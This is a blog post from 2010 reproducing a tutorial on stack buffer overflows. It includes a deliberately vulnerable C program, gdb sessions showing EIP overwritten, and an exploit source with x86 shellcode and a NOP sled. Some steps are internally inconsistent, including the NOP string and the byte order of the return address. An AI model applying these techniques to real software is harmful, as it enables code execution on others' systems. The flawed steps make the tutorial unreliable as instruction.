Tuesday, 7 September 2010
Buffer Overflow Attack tutorial by example
Do you like this story?
A Buffer Overflow is a flaw by which a program reacts abnormally when the memory buffers are overloaded, hence writing over adjacent memory. It can be triggered by using inputs that may alter the way a program operates,for example <inputting a very large value in a c program which does integer based addition>. A buffer overflow can lead to program crash, memory access error, garbage outputs & worse, breach of system security. Probably, you might have seen prominent buffer overflow based exploits & attacks in Metaspl0it or any other spl0it framework. Why I am writing this ? well..I found an excellent article on buffer overflow by eXeCuTeR <executerx[at]gmail[dot]com> & thought you might wanna have a look at it. Its exlplained in quite easy language with very basic example.
read & learn..
Our vuln program:
Try to think - What happens when we load more than 10 bytes on str? You'll see.
Lets try compile the program and load 12 bytes:
The program has been successfully compiled even though we loaded 12 bytes, which means 12 bytes aren't enough to overflow the program.
Lets try to overflow the program with 14 bytes:
Failed. Again.
Lets load 32 bytes this time:
We made it, we overflowed the program.
Now we'll check more further what exactly happend:
We overwrited the EIP with A's (A = 41 in hex) - The EIP is the Instructor Pointer, it points at the next instruction.
Now we can start writing our exploit.
Our exploit is gonna contain the NOPSLED + Shellcode + the address of the shellcode (the RET).
The NOPSLED is a chain of 0x90's (NOPSLED = NO OPeration) so the NOPSLED will be placed before our shellcode.
The NOPSLED helps us so we don't have to jump exactly to the place in memory where our shellcode begins.
Run our vuln program so we could find the RET, the address of our shellcode.
After we run it, we'll look for the ESP - the ESP points on the last element used on the stack.
Check this out:
You're gonna get these things:
etc'...
Keep searching until you see something like this thing:
0xbf9496e0 is the address of our shellcode (the RET)
To make our exploit work properly, we need to overwrite the EIP with our shellcode.We'll take our old address (0xbf9496e0) and do this thing:
Take our address and make it look this way: bf 94 96 e0
Grab the last bytes (e0) and do the following:
we'll block the characters between \'s (slashes), add x in each block -> \xe0\
you'll do the same to each 2 chars and then put them in order that the last bytes of our the address will be the first one in our new address:
Now, we are gonna reach our shellcode this way:
Since we overflowed the program with 32 bytes (32 A's),
and our RET's length is 4 bytes we are gonna subtract the length of our shellcode address(the RET) of the A's,
and we are gonna print 28 A's (32 A's - 4 bytes (RET's length) = 28) and the RET so we could reach the shellcode successfully.
I suppose you already understood what's about to happen if you have read the exploit :)
read & learn..
Our vuln program:
---------- bof.c --------------
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char str[10];
strcpy(str, argv[1]);
printf("Done");
return 0;
}
---------- bof.c --------------As you see, argv[1] is copied to str (str can contains 10 characters)
Try to think - What happens when we load more than 10 bytes on str? You'll see.
Lets try compile the program and load 12 bytes:
niv@niv-desktop:~/Desktop$ gcc-3.3 bof.c -o bof
niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x12'`
Doneniv@niv-desktop:~/Desktop$
The program has been successfully compiled even though we loaded 12 bytes, which means 12 bytes aren't enough to overflow the program.
Lets try to overflow the program with 14 bytes:
niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x14'`
Doneniv@niv-desktop:~/Desktop$
Failed. Again.
Lets load 32 bytes this time:
niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x32'`In case it says: /*** stack smashing detected ***/ or something that appears to be like this error, just go to the terminal, type: sudo apt-get install gcc-3.3 and when compiling it type gcc-3.3 example.c -o example instead of gcc example.c -o example.
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$
We made it, we overflowed the program.
Now we'll check more further what exactly happend:
niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e 'print "A"x60'`
Starting program: /home/niv/Desktop/bof `perl -e 'print "A"x32'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
We overwrited the EIP with A's (A = 41 in hex) - The EIP is the Instructor Pointer, it points at the next instruction.
Now we can start writing our exploit.
Our exploit is gonna contain the NOPSLED + Shellcode + the address of the shellcode (the RET).
The NOPSLED is a chain of 0x90's (NOPSLED = NO OPeration) so the NOPSLED will be placed before our shellcode.
The NOPSLED helps us so we don't have to jump exactly to the place in memory where our shellcode begins.
---------- exploit.c --------------
#include <stdio.h>
#include <string.h>
char exploit[2048];
int main(void)
{
int i;
/*
* (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\xb5\x08" // mov $0x8,%ch
"\x68\x64\x72\x6f\x6d" // push $0x6d6f7264
"\x68\x65\x76\x2f\x63" // push $0x632f7665
"\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\xb0\x36" // mov $0x36,%al
"\x66\xb9\x09\x53" // mov $0x5309,%cx
"\xcd\x80" // int $0x80
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
for(i = 0; i < 512; i++)
strcat(exploit, "0x90");
strcat(exploit, shellcode);
printf("Loaded.\n");
return 0;
}
---------- exploit.c --------------
niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.
Run our vuln program so we could find the RET, the address of our shellcode.
After we run it, we'll look for the ESP - the ESP points on the last element used on the stack.
Check this out:
niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.
niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x60'`
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e 'print "A"x60'`
Starting program: /home/niv/Desktop/bof `perl -e 'print "A"x60'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/s $esp
You're gonna get these things:
0xbf949694: "`???}_???o??\002"
(gdb)
0xbf9496a2: ""
etc'...
Keep searching until you see something like this thing:
0xbf9496e0:"7?\224?J?\224?U?\224?i?\224?y?\224??\224?\002?\224?\024?\224?*?\224?3?\224???\224??\224?\v?\224?\030?\224?N?\224?Y?\224?q?\224???\224??\224???\224???\224?\025?\224?&?\224?;?\224?D?\224?W?\224?n?\224?v?\224?\205?\224???\224???\224?\024?\224?P?\224?p?\224?}?\224?\212?\224???\224??\224?"
0xbf9496e0 is the address of our shellcode (the RET)
To make our exploit work properly, we need to overwrite the EIP with our shellcode.We'll take our old address (0xbf9496e0) and do this thing:
Take our address and make it look this way: bf 94 96 e0
Grab the last bytes (e0) and do the following:
we'll block the characters between \'s (slashes), add x in each block -> \xe0\
you'll do the same to each 2 chars and then put them in order that the last bytes of our the address will be the first one in our new address:
0xbf9496e0 -> \xe0\x96\x94\xbf
Now, we are gonna reach our shellcode this way:
Since we overflowed the program with 32 bytes (32 A's),
and our RET's length is 4 bytes we are gonna subtract the length of our shellcode address(the RET) of the A's,
and we are gonna print 28 A's (32 A's - 4 bytes (RET's length) = 28) and the RET so we could reach the shellcode successfully.
niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x28'``printf
"\xbf\x94\x96\xe0"`
I suppose you already understood what's about to happen if you have read the exploit :)
Like This post ? You can buy me a Beer :)
Posted by XERO. ALL RIGHTS RESERVED.
This post was written by: Rishabh Dangwal
Rishabh Dangwal is a no-nonsense network geek who likes to play retro games and emulators in free time. Follow him on Twitter
Subscribe to:
Post Comments (Atom)
0 Responses to “Buffer Overflow Attack tutorial by example”
Post a Comment